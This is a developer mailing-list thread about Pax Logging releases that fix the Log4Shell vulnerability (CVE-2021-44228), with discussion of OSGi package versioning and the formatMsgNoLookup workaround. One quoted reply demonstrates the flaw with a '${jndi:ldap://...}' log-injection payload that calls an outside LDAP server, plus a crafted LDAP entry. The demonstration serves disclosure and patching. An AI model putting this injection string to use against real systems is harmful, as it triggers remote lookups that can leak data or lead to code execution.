Hello
The multiple export trick/hack/improvement/convenience is to make it easier
to upgrade pax logging itself without affecting the OSGi users.
Pax Logging *has to* export Log4j2 packages at version of the ONLY Log4j2
library it uses (private-packages + re-exports), but it also declares that
the exports match earlier versions.
So if your application has:
Import-Package: org.apache.logging.log4j; version="[2.13,2.14)"
Just because it was built by maven-bundle-plugin that for some reasons used
more strict version range policy, the multiple versions exported by Pax
Logging bundles won't break your application.
It's a way of telling - if you're using our API at given version, we
provide compatible interfaces. But the underlying implementation is (for
pax logging 2.0.11) is log4j2 2.15.0 (so with the CVE fix).
regards
Grzegorz Grzybek
pon., 13 gru 2021 o 11:42 Steven Huypens <steven.huyp...@gmail.com>
napisał(a):
> Hi all,
>
> We are using pax logging 2.0.9, but I can see it exports log4j2 packages
> for different versions: 2.9.1, 2.13.3 & 2.14.1
>
> Since one of those versions is not higher than 2.10, it's not clear to me
> if the system property log4j.formatMsgNoLookup will fix the issue for our
> application. Anyone knows ?
>
> Kind regards,
> Steven
>
> On Fri, Dec 10, 2021 at 11:26 PM Bernd Eckenfels <e...@zusammenkunft.net>
> wrote:
>
> > I am currently working on a description for a work around (specifying the
> > system property) but I can’t get it to work.
> >
> > It still expands ${java:version}. I checked that it shows with
> > “system:property log4j.formatMsgNoLookup” true and there seems to be no
> > %m{lookup} setting.
> >
> > I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a
> > version newer than 2.10).
> >
> > Any idea?
> >
> > Is it possible that the shaded pax-logging-log4j does not honor the
> system
> > property of log4j?
> >
> >
> > --
> > https://bernd.eckenfels.net
> > ________________________________
> > From: Grzegorz Grzybek <gr.grzy...@gmail.com>
> > Sent: Friday, December 10, 2021 1:43:00 PM
> > To: dev@karaf.apache.org <dev@karaf.apache.org>
> > Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10
> released
> >
> > Hello
> >
> > Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes it
> > in
> > details.
> >
> > I was a bit surprised too - I knew about e.g., `${java:version}` if you
> > used it in pattern layout configuration - I didn't expect Log4j2 to
> > interpolate the messages passed to log() methods as well!
> >
> > But you can try (in Karaf):
> >
> > karaf@root()> log:log 'xxx ${java:version} xxx'
> >
> > And you'll see (in the logs):
> >
> > 2021-12-10 13:39:25,243 INFO {pipe-log:log 'xxx ${java:version} xxx'}
> > [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
> xxx
> > Java version 1.8.0_312 xxx
> >
> > so a message has been interpolated.
> >
> > What's worse, I could add an entry to my OpenLDAP with:
> >
> > javaClassName: java.lang.String
> > javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr
> >
> > And then:
> >
> > karaf@root()> log:log '${jndi:ldap://
> 10.39.192.99/cn=boom,dc=k8s,dc=forest
> > }'
> >
> > gave me this in logs:
> >
> > 2021-12-10 13:40:38,181 INFO {pipe-log:log '${jndi:ldap://
> > 10.39.192.99/cn=boom,dc=k8s,dc=forest}
> > <http://10.39.192.99/cn=boom,dc=k8s,dc=forest%7D>'}
> > [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
> > http://localhost/attack
> >
> > "http://localhost/attack"; is the deserialized value from
> > "rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.
> >
> > While you can't use "javaCodeBase" LDAP attribute to point to malicius
> URL
> > code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase" system
> > property that defaults to "false" since 2009), you still have a remote
> > request being performed when logging messages with ${jndi:ldap://
> > example.com
> > }.
> >
> > regards
> > Grzegorz Grzybek
> >
> > pt., 10 gru 2021 o 13:28 Bernd Eckenfels <e...@zusammenkunft.net>
> > napisał(a):
> >
> > > Hello Grzegorz,
> > >
> > > Thanks a lot for the super quick reaction.
> > >
> > > I was rather confused to see that log messages can trigger a JNDI
> lookup
> > > anyway. Do you think there should be hardened something here?
> > >
> > > Do you know if that is triggered by malicious log config or by
> malicious
> > > log messages and does it only affect systems where the JMSAppender is
> > > actually used?
> > >
> > > Gruss
> > > Bernd
> > >
> > >
> > > --
> > > http://bernd.eckenfels.net
> > > ________________________________
> > > Von: Grzegorz Grzybek <gr.grzy...@gmail.com>
> > > Gesendet: Friday, December 10, 2021 12:20:02 PM
> > > An: ops4j-announcem...@googlegroups.com <
> > > ops4j-announcem...@googlegroups.com>; Karaf Dev <dev@karaf.apache.org
> >;
> > > d...@felix.apache.org <d...@felix.apache.org>
> > > Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
> > >
> > > Hello
> > >
> > > Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228
> > fix.
> > >
> > > *Log4j2 has been updated to version 2.15.0.*
> > >
> > > The changelog is available at GitHub:
> > > https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1
> > >
> > > kind regards
> > > Grzegorz Grzybek
> > >
> >
>
